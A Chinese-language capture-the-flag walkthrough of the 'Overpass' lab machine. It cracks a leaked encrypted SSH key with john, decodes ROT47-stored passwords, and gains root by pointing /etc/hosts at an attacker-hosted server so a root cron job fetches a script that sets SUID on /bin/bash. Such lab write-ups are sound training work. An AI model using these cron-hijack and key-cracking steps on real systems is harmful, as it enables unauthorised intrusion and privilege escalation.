Skip to main content

Overpass

端口扫描

20240528112934

80 - HTTP

20240528112946

note
  • 存储的密码是存储在本地加密的
  • 军事级加密 (罗马?)
  • 程序的源码, 使用 go 语言编写

我们获取 go 语言来进行分析

  • 密码存储在本地 .overpass 文件中, 所以当我们入侵成功后应该去寻找此文件借此来进行获取用户的密码
  • 使用 rot47 加密
package main

import (
"bufio"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"

"github.com/mitchellh/go-homedir"
)

type passListEntry struct {
Name string `json:"name"`
Pass string `json:"pass"`
}

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
var result []string
for i := range input[:len(input)] {
j := int(input[i])
if (j >= 33) && (j <= 126) {
result = append(result, string(rune(33+((j+14)%94))))
} else {
result = append(result, string(input[i]))
}
}
return strings.Join(result, "")
}

//Encrypt the credentials and write them to a file.
func saveCredsToFile(filepath string, passlist []passListEntry) string {
file, err := os.OpenFile(filepath, os.O_TRUNC|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println(err.Error())
return err.Error()
}
defer file.Close()
stringToWrite := rot47(credsToJSON(passlist))
if _, err := file.WriteString(stringToWrite); err != nil {
fmt.Println(err.Error())
return err.Error()
}
return "Success"
}

//Load the credentials from the encrypted file
func loadCredsFromFile(filepath string) ([]passListEntry, string) {
buff, err := ioutil.ReadFile(filepath)
if err != nil {
fmt.Println(err.Error())
return nil, "Failed to open or read file"
}
//Decrypt passwords
buff = []byte(rot47(string(buff)))
//Load decrypted passwords
var passlist []passListEntry
err = json.Unmarshal(buff, &passlist)
if err != nil {
fmt.Println(err.Error())
return nil, "Failed to load creds"
}
return passlist, "Ok"
}

//Convert the array of credentials to JSON
func credsToJSON(passlist []passListEntry) string {
jsonBuffer, err := json.Marshal(passlist)
if err != nil {
fmt.Println(err.Error())
return "Something went wrong"
}
return string(jsonBuffer)
}

//Python style input function
func input(prompt string) string {
fmt.Print(prompt)
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
return scanner.Text()

}
return ""
}

func serviceSearch(passlist []passListEntry, serviceName string) (int, passListEntry) {
//A linear search is the best I can do, Steve says it's Oh Log N whatever that means
for index, entry := range passlist {
if entry.Name == serviceName {
return index, entry
}
}
return -1, passListEntry{}
}

# 根据服务名称找回对应的密码
func getPwdForService(passlist []passListEntry, serviceName string) string {
index, entry := serviceSearch(passlist, serviceName)
if index != -1 {
return entry.Pass
}
return "Pass not found"
}

# 设置一个服务的密码
func setPwdForService(passlist []passListEntry, serviceName string, newPwd string) []passListEntry {
index, entry := serviceSearch(passlist, serviceName)
//If service exists, update entry
if index != -1 {
entry.Pass = newPwd
passlist[index] = entry
return passlist
}
//If it doesn't, create an entry
entry = passListEntry{Name: serviceName, Pass: newPwd}
passlist = append(passlist, entry)
return passlist
}

func deletePwdByService(passlist []passListEntry, serviceName string) (resultList []passListEntry, status string) {
index, _ := serviceSearch(passlist, serviceName)
if index != -1 {
//remove Pwd from passlist
resultList = append(passlist[:index], passlist[index+1:]...)
status = "Ok"
return
}
return passlist, "Pass not found"
}

func printAllPasswords(passlist []passListEntry) {
for _, entry := range passlist {
fmt.Println(entry.Name, "\t", entry.Pass)
}
}

func main() {
credsPath, err := homedir.Expand("~/.overpass") # 密码存储在本地 ~/.overpass
if err != nil {
fmt.Println("Error finding home path:", err.Error())
}
//Load credentials
passlist, status := loadCredsFromFile(credsPath)
if status != "Ok" {
fmt.Println(status)
fmt.Println("Continuing with new password file.")
passlist = make([]passListEntry, 0)
}

fmt.Println("Welcome to Overpass")

//Determine function
option := -1
fmt.Print(
"Options:\n" +
"1\tRetrieve Password For Service\n" +
"2\tSet or Update Password For Service\n" +
"3\tDelete Password For Service\n" +
"4\tRetrieve All Passwords\n" +
"5\tExit\n")

for option > 5 || option < 1 {
optionString := input("Choose an option:\t")
optionChoice, err := strconv.Atoi(optionString)
if err != nil || optionChoice > 5 || optionChoice < 1 {
fmt.Println("Please enter a valid number")
}
option = optionChoice
}

switch option {
case 1:
service := input("Enter Service Name:\t")
getPwdForService(passlist, service)
case 2:
service := input("Enter Service Name:\t")
newPwd := input("Enter new password:\t")
passlist = setPwdForService(passlist, service, newPwd)
saveCredsToFile(credsPath, passlist)
case 3:
service := input("Enter Service Name:\t")
passlist, status := deletePwdByService(passlist, service)
if status != "Ok" {
fmt.Println(status)
}
saveCredsToFile(credsPath, passlist)
case 4:
printAllPasswords(passlist)
}
}

我们进行目录扫描发现一个 admin 目录

20240528113049

访问 admin 发现其实是一个登录窗口, 查看源码后可以发现其登录验证是基于前端 JS 文件的

20240528113101

登录站点后发现其内容是 james 的 SSH 密钥

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----

发现其存在密码, 使用 john 进行破解

root@ip-10-10-208-226:~# `locate ssh2john` id_rsa > hash.ttx
root@ip-10-10-208-226:~# john hash.ttx --wordlist=`locate rockyou.txt`
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (id_rsa)
1g 0:00:00:11 DONE (2023-08-04 02:19) 0.08912g/s 1278Kp/s 1278Kc/s 1278KC/s *7¡Vamos!
Session completed.
root@ip-10-10-208-226:~#

后渗透

james

$ ssh -i id_rsa [email protected]                                           
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri Aug 4 01:29:26 UTC 2023

System load: 0.08 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 29% IP address for eth0: 10.10.3.246
Swap usage: 0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
james@overpass-prod:~$

结合前面的内容我们发现一个加密的密码文件, 并且我们知道加密的格式我们将其破解

james@overpass-prod:~$ ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27 2020 .
drwxr-xr-x 4 root root 4096 Jun 27 2020 ..
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27 2020 .bashrc
drwx------ 2 james james 4096 Jun 27 2020 .cache
drwx------ 3 james james 4096 Jun 27 2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27 2020 .local
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4096 Jun 27 2020 .ssh
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
james@overpass-prod:~$ cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.j

解密后判断为其个人密码

james --> root

在用户家目录发现一个 todo.txt 我们发现其中提到了一个自动化构建脚本所以我们尝试查找

20240528113400

在定时任务文件中我们发现了这个自动化的执行任务

20240528113414

我们可以发现其是指定的域名, 如果我们修改 host 文件就可以完成我们的攻击, 我们将其指定为我们的 VPN 的 IP 在本地创建对应的恶意 bash 文件开启一个 HTTP 服务等待连接即可

james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
**10.13.31.216** overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

在本地创建对应的目录

$ tree downloads                                                      
downloads
└── src
└── buildscript.sh

$ cat downloads/src/buildscript.sh
#!/bin/bash
chmod u+s /bin/bash

在本地开启 HTTP 服务等待连接即可

20240528113429

等待连接即可

20240528113436

james@overpass-prod:~$ /bin/bash -p
bash-4.4# id
uid=1001(james) gid=1001(james) euid=0(root) groups=1001(james)